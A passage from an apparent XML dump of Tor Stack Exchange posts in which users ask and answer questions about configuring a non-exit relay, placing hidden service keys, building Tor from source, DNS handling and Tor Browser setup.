rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/improving-tors-anonymity-changing-guard-parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-05-05T20:15:53.057" LastActivityDate="2016-05-05T20:15:53.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10351" PostTypeId="2" ParentId="10344" CreationDate="2016-05-05T19:07:53.750" Score="5" Body="&lt;p&gt;Tor should control the hidden service private key, it has nothing at all to do with the httpd so you shouldn't be putting the private key or setting the hidden service directory anywhere related to the httpd, e.g. inside &lt;code&gt;/var/www&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead use a folder like &lt;code&gt;/var/lib/tor/hidden_service&lt;/code&gt;. This is inside a folder that tor already controls and can set the appropriate permission for. It is not required or desirable that the private key for the hidden service be readable by anything except the user the tor process is running as. Tor will generate both the private_key for you and then derive the hostname from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: as an aside, that's an oldish version of Tor you're running, you should probably consider following the guide to use the Tor Projects ubuntu repos, as ubuntu tends to ship outdated versions of Tor: &lt;a href=&quot;https://www.torproject.org/docs/debian.html#ubuntu&quot;&gt;https://www.torproject.org/docs/debian.html#ubuntu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-05-05T21:38:41.623" LastActivityDate="2016-05-05T21:38:41.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10352" PostTypeId="1" AcceptedAnswerId="10353" CreationDate="2016-05-05T20:35:58.763" Score="2" ViewCount="1140" Body="&lt;p&gt;The server is running Linux Debian Stretch (9, testing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed tor as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I created APT file for Tor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo nano /etc/apt/sources.list.d/tor.list&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I entered these lines:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;deb http://deb.torproject.org/torproject.org stretch main&#xA;deb-src http://deb.torproject.org/torproject.org stretch main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I imported the GPG key for Tor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --keyserver keys.gnupg.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89&#xA;gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I installed Tor and Arm as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install tor deb.torproject.org-keyring tor-arm&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I stopped the Tor service:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo service tor stop&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I edited the config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo nano /etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have not uncommented anything and just added these lines:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;ORPort       XXXXX&#xA;DirPort      YYYYY&#xA;SOCKSPort    0&#xA;RunAsDaemon  0&#xA;ExitPolicy   reject  *:*&#xA;ExitPolicy   reject6 *:*&#xA;Nickname     myNick&#xA;ContactInfo  myContact&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I punched holes in my firewall:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo iptables -A INPUT -p tcp -m tcp --dport XXXXX -j ACCEPT`&#xA;sudo iptables -A INPUT -p tcp -m tcp --dport YYYYY -j ACCEPT`&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I forwarded these ports onto the server in my router.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And finally started the Tor service:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;service tor start&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Did I install it correctly?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If not, what steps did I do wrong?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I did install it alright, is there any further configuration I need to do?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How do I check I am part of the network?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do I need to register on Atlas or somewhere else?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12763" LastEditorUserId="12763" LastEditDate="2017-03-25T05:32:01.397" LastActivityDate="2017-03-25T05:32:01.397" Title="Setting up non-exit Tor relay on Linux Debian Stretch" Tags="|configuration|relays|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10353" PostTypeId="2" ParentId="10352" CreationDate="2016-05-05T21:08:26.003" Score="4" Body="&lt;p&gt;This sounds like a general monitoring question. To figure out if everything is running smoothly you should take a look at the tor log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tail -f /var/log/tor/log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If Tor is succesfully running as a relay and all configured ports are reachable you will find this message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[notice] Self-testing indicates your DirPort is reachable from the outside. Excellent.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is taken from the &lt;a href=&quot;https://www.torproject.org/docs/tor-relay-debian.html.en#check&quot; rel=&quot;nofollow&quot;&gt;official docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see this message, you should show up after some hours on Atlas, so there's no need to register you relay there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For general monitoring you should use &lt;code&gt;arm&lt;/code&gt; which you can install via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install tor-arm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and start it with the user Tor is running as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo -u debian-tor arm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In there you'll see all the established connections on the 2nd page.&lt;/p&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2016-05-05T21:08:26.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10354" PostTypeId="2" ParentId="10352" CreationDate="2016-05-05T21:13:37.630" Score="1" Body="&lt;p&gt;The torrc and other settings look correct. (the ExitPolicy asterisks got turned into syntax to make the : italic though :P)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all went well, then you should publish your relay details to the directory authorities, who will then vote you into the consensus. The consensus is republished every hour. So you should appear in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easy way to test that it's reachable is to use openssl to connect to the ORPort and see if you get a TLS handshake out of it, e.g. &lt;code&gt;openssl s_client -connect $YOUR_IP:$YOUR_ORPORT&lt;/code&gt;. If it manages to perform the handshake then you just need to wait for the new consensus to get published, Atlas uses the consensus so you don't need to register, it's done when you start your relay. Further configuration options might be related to any bandwidth restrictions you have, otherwise a good resource to know what will be happening to your relay over the new few weeks is this blog post: &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;P.S. thanks for running a relay!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-05T21:13:37.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10355" PostTypeId="2" ParentId="10346" CreationDate="2016-05-06T00:28:56.547" Score="2" Body="&lt;p&gt;Tor is mostly DNS agnostic. Building connections to relays is based on IP, so except for the connections that you make over it there are no DNS lookups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The connections you make over it should be done using socks5h or socks4a, which means that the DNS look-ups are done remotely (by the exit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively tor can provide a &quot;DNSPort&quot; to perform basic DNS lookups over. It supports A, AAAA and PTR records, which covers most &quot;desktop user&quot; requirements.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-06T00:28:56.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10362" PostTypeId="1" AcceptedAnswerId="10381" CreationDate="2016-05-07T01:27:27.153" Score="1" ViewCount="528" Body="&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/10352/setting-up-tor-relay-linux&quot;&gt;I have set up my relay as per this link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one question. Since I have set &lt;code&gt;ORPort 63547&lt;/code&gt;, will I actually help anyone? I run a web server, so ports 80 and 443 and other ports are sadly out of the questions.&lt;/p&gt;&#xA;" OwnerUserId="12763" LastEditorUserId="12763" LastEditDate="2018-10-04T13:08:21.807" LastActivityDate="2020-06-08T11:20:10.747" Title="ORPort different from 443 and 80, will I actually help anyone?" Tags="|relays|network-configuration|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10363" PostTypeId="2" ParentId="10362" CreationDate="2016-05-07T02:18:15.417" Score="1" Body="&lt;p&gt;yes, you will : there are a lot of people who don't have a “Fascist Firewall”, as it stated in tor manual. Also - you can put obfs3/4 or Meek on port 443 if you want to help to circumvent censorship deeper. Feel free to ask more if you have a questions - I'll be glad to help!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="30299" LastEditDate="2020-06-08T11:20:10.747" LastActivityDate="2020-06-08T11:20:10.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10365" PostTypeId="1" CreationDate="2016-05-07T03:18:47.450" Score="1" ViewCount="35" Body="&lt;p&gt;I downloaded both the browser installer, and the 'expert' packages. After getting error with the 'wizard', I tried the other; neither works.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see the Tor Browser (wizard) has a note it is an unstable d\l. I can see why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the other installer, I get a 'command' box full of info, but it stops there. Nothing happens after that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where am I going wrong?  What do I do to correct these issues?  Someone help!!&lt;/p&gt;&#xA;" OwnerUserId="12782" LastActivityDate="2016-05-07T03:18:47.450" Title="Install bundle 'missing' files to open program" Tags="|windows|help|" AnswerCount="0" CommentCount="0" ClosedDate="2016-05-09T06:38:05.053" ContentLicense="CC BY-SA 3.0" />
  <row Id="10366" PostTypeId="1" CreationDate="2016-05-07T10:35:12.790" Score="1" ViewCount="2655" Body="&lt;p&gt;I am trying to sync the time on both whonix gateway and workstation but am getting the following connectivity errors upon running whonixcheck with the verbose flag set. On the gateway I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ whonixcheck --verbose&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/g869h.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g869h.png&quot; alt=&quot;whonix check 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ueaZf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ueaZf.png&quot; alt=&quot;whonix check 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, when running arm on the gateway there seems to be no connection to the tor network:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AVoyJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AVoyJ.png&quot; alt=&quot;whonix arm&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the steps suggested in the answer of &lt;a href=&quot;https://tor.stackexchange.com/questions/809/whonix-tor-bug-error&quot;&gt;this&lt;/a&gt; question the log files are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tail -f /var/log/sdwdate.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ljrUg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ljrUg.png&quot; alt=&quot;sdwupdate&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When running &lt;strong&gt;timesync&lt;/strong&gt; on the gateway I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b6dhN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b6dhN.png&quot; alt=&quot;timesync 1&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KwdGI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KwdGI.png&quot; alt=&quot;timesync 2&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GFLWz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GFLWz.png&quot; alt=&quot;timesync 3&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/PkMXv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PkMXv.png&quot; alt=&quot;timesync 4&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tail -f -n 20 /var/log/sdwdate.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following are shown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/m9Kvy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m9Kvy.png&quot; alt=&quot;timesync 5&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is weird is that I cannot set the &lt;strong&gt;hwclock&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the time by running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# date +%T -s &quot;01:01:30&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is reset after a reboot (I'm running whonix in VirtualBox on a Win7 host machine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After, the time update the &lt;strong&gt;hwclock&lt;/strong&gt; gives the same output as prior to setting the time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how relevant this is, but a few days ago I made a dual boot setup (debian/win7) and booted in debian. I also disabled the UEFI boot option in BIOS in order to be able to boot from a USB stick and install debian. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't whonix able to sync its time? &lt;/p&gt;&#xA;" OwnerUserId="7410" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2016-05-07T13:10:06.837" Title="Whonix cannot sync time" Tags="|configuration|whonix|network-configuration|torcheck|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10367" PostTypeId="1" CreationDate="2016-05-07T14:50:11.203" Score="3" ViewCount="2826" Body="&lt;p&gt;How can I configure Tor browser so it &lt;em&gt;does not&lt;/em&gt; connect to the tor network? I want it to connect like any other browser would. I would like to use Tor as a hardened browser. I know this question has been asked here &lt;a href=&quot;https://tor.stackexchange.com/questions/10073/how-to-run-the-tor-browser-without-the-bundled-tor-proxy&quot;&gt;How to run the Tor browser without the bundled Tor proxy?&lt;/a&gt; I have dissabled Tor button but whenever I set proxy settings to &quot;none&quot; it wont connect to the internet at all? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any and all help appreciated thanks.&lt;/p&gt;&#xA;" OwnerUserId="12786" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2017-04-26T16:05:56.370" Title="How to dissconnect Tor browser from the Tor network" Tags="|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10368" PostTypeId="2" ParentId="10326" CreationDate="2016-05-07T16:24:02.457" Score="0" Body="&lt;p&gt;It highly depends on the reason you're using Tor :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yes, it is an issue, if you're about to be untrackable for a reason of self-survival, for example. You don't want people who are censoring the Web to know where to find you to take you down&lt;/li&gt;&#xA;&lt;li&gt;No, it's not an issue, if you're using Tor as a tamper-resistant transport, i.e. for connecting to Facebook's onion entry point from a public Wi-Fi hotspot : you're fine with your location tags, you just don't want somebody to tap your passoword from it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You actually should diecide for yourself&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-07T16:24:02.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10370" PostTypeId="1" CreationDate="2016-05-07T18:25:55.450" Score="2" ViewCount="286" Body="&lt;p&gt;After wondering why Tor would download but would not run on my raspberry pi, I found this question.&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/242/how-to-run-tor-on-raspbian-on-the-raspberry-pi&quot;&gt;How To Run Tor On Raspberry Pi&lt;/a&gt;. The answer says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Solution If you want to run newer Tor versions than are available from&#xA;  the Raspbian folks, you will have to build them yourself.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can build it from the source tarball like a lot of other&#xA;  Unix/Linux software and install it locally.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I cant find any tutorials on how to do this. Can anyone tell me how I install tor from the source locally? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12788" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-05-08T01:01:47.133" Title="Building Tor locally from src on raspberry pi" Tags="|raspberry-pi|raspbian|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10371" PostTypeId="2" ParentId="10367" CreationDate="2016-05-07T20:16:04.840" Score="0" Body="&lt;p&gt;not a good idea at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why would you want to surf around using the TOR Browser-Fingerprint ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want privacy without anonymity use a sandboxed Firefox with the addons NoScript and HTTPS Everywhere. maybe get a decent AdBlocking hosts file and set your Browser to always use privacy mode (to prevent DOM Storage, Cache and Cookie tracking techniques)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this behind a VPN is what i'd consider pretty private. always keep your browsing habits in mind though and refresh your session from time to time.&lt;/p&gt;&#xA;" OwnerUserId="12789" LastActivityDate="2016-05-07T20:16:04.840" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10372" PostTypeId="2" ParentId="10370" CreationDate="2016-05-08T01:01:47.133" Score="1" Body="&lt;p&gt;No problem! Doing it myself regulary! You need a gcc and g++ and the next libraries, &lt;em&gt;compiled in the order of listing here&lt;/em&gt; :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://zlib.net/&quot; rel=&quot;nofollow&quot;&gt;Zlib&lt;/a&gt;. You need it to compile OpenSSL with compression support&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.openssl.org/source/&quot; rel=&quot;nofollow&quot;&gt;OpenSSL&lt;/a&gt;. Take a stable source if you're not PRO with source building&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://libevent.org/&quot; rel=&quot;nofollow&quot;&gt;Libevent&lt;/a&gt;. Take a 2.0 current version and go on&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In configure I strongly recommend you to install in a global system prefix - for your own good - I'm doing it like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./configure --prefix=/usr --localstatedir=/var --sysconfdir=/etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in OpenSSL &lt;strong&gt;don't forget to set your openssldir to /etc/ssl&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;after building + configuring + &lt;strong&gt;testing/checking&lt;/strong&gt; and installing properly working packages specified above - just run &lt;code&gt;ldconfig&lt;/code&gt; with no arguments from a root user - and build Tor! Feel free to ask further questions! And take a look at my &lt;a href=&quot;https://github.com/netsafe/linux-builder/&quot; rel=&quot;nofollow&quot;&gt;linux-builder&lt;/a&gt; project, it's related to exactly that situation, but it's a bit outdated ;)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-08T01:01:47.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10373" PostTypeId="1" CreationDate="2016-05-08T06:25:40.547" Score="2" ViewCount="285" Body="&lt;p&gt;I'm trying to install obfs4 support on a bridge. But I cant find the right package to install. Can anyone help me find it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running &lt;a href=&quot;https://archlinuxarm.org/&quot; rel=&quot;nofollow&quot;&gt;archlinux for arm&lt;/a&gt; on a &lt;a href=&quot;https://archlinuxarm.org/platforms/armv5/pogoplug-v2-pinkgray&quot; rel=&quot;nofollow&quot;&gt;pogoplug v2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12697" LastEditorUserId="88" LastEditDate="2016-06-09T13:34:23.877" LastActivityDate="2016-06-09T13:34:23.877" Title="Is there a obfs4 package for ARMv5?" Tags="|bridge|pluggable-transports|obfsproxy|obfs4proxy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10375" PostTypeId="1" CreationDate="2016-05-08T13:35:39.020" Score="1" ViewCount="20" Body="&lt;p&gt;I have been reading through the various forums postings about issues with connecting to Tor but still cannot resolve the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a basic Tor User and up until 3 days ago had no issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Norton Internet Security installed and have confirmed Tor as a trusted connection but since an update a few days ago, cannot access Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I launch &quot;Start Tor Browser&quot; nothing happens. When I check open processes I see Tor and Firebox both running but nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even Firefox seems to be hanging and not connecting. No problems with IE or Chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uninstalled and reinstalled Firefox and Tor several times. Even tried to run Tor Browser from my external hard drive. Nothing works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate help from the expert users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="12797" LastActivityDate="2016-05-08T14:07:41.223" Title="Cannot open tor browser - Frustrated" Tags="|configuration|" AnswerCount="0" CommentCount="2" ClosedDate="2016-05-09T06:41:47.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="10377" PostTypeId="1" CreationDate="2016-05-08T14:22:48.537" Score="1" ViewCount="10" Body="&lt;p&gt;Cannot get Tor to start\open after install.  I have both d\l's available to use for my install; neither apparently works, or I am missing something.  If I use the 'wizard' installer, it gives me 4-5 'error' messages, saying that I am missing certain files.  If I use the 'non-wizard' package, it go thru the whole procedure, opens a &quot;cmd&quot; window, that runs thru it's sequence, then stops. Nothing more opens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running Windows 10, plenty of space for the install available, as is RAM &amp;amp; processor capability.&lt;/p&gt;&#xA;" OwnerUserId="12782" LastActivityDate="2016-05-08T14:22:48.537" Title="What do I do when install doesn't seem to complete?" Tags="|configuration|windows|help|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10381" PostTypeId="2" ParentId="10362" CreationDate="2016-05-08T21:39:03.970" Score="2" Body="&lt;p&gt;The only time an &quot;end user&quot; will ever directly connect to your ORPort is when or if you are their guard, in those situations you might be able to help weakly censored users by providing it on a more common &quot;TLS&quot; port to help mask the true nature of the traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I'm not sure what kind of figures this subset of users (who aren't fully censored but have limited connection targets) actually mean in terms of numbers. In their case, they will select what they can connect to and not choose your relay as their guard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be more concerned with running on &quot;common&quot; ports to provide a bridge, rather than a relay. For most of the traffic you contribute to the network, you probably will not be being directly connected to by clients, but rather other relays which shouldn't have any problem talking to whichever port you want to use.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-08T21:39:03.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10382" PostTypeId="1" CreationDate="2016-05-08T21:43:13.420" Score="1" ViewCount="543" Body="&lt;p&gt;I have some spare bandwidth &lt;strong&gt;at home&lt;/strong&gt; that I am willing to donate to the TOR project. I am thinking about running a relay-only / non-exit node, but only if it is completely safe and trouble-free for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12802" LastActivityDate="2016-05-08T22:20:12.237" Title="Is it safe to run a relay-only node?" Tags="|relays|legal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10383" PostTypeId="2" ParentId="10367" CreationDate="2016-05-08T21:55:18.290" Score="4" Body="&lt;p&gt;This is not a good plan, if you feel that you still want to do this, the easiest way to do this (see &lt;a href=&quot;https://www.kb.wisc.edu/cae/page.php?id=24500&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for setting environment variables in Windows) is to follow the 'Upstream Transproxy' section of this guide:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorBrowserBundleSAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/TorBrowserBundleSAQ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;TOR_SKIP_LAUNCH=1&lt;/code&gt; will stop Tor Launcher from launching its own copy of Tor.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;TOR_TRANSPROXY=1&lt;/code&gt; will tell it to not use any proxy settings. It is intended to be used with an upstream transparent proxy.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You should be &lt;em&gt;very&lt;/em&gt; cautious when doing this, do not do this with a copy of Tor Browser that you later intend to use for anonymous browsing.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-04-26T16:05:56.370" LastActivityDate="2017-04-26T16:05:56.370" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
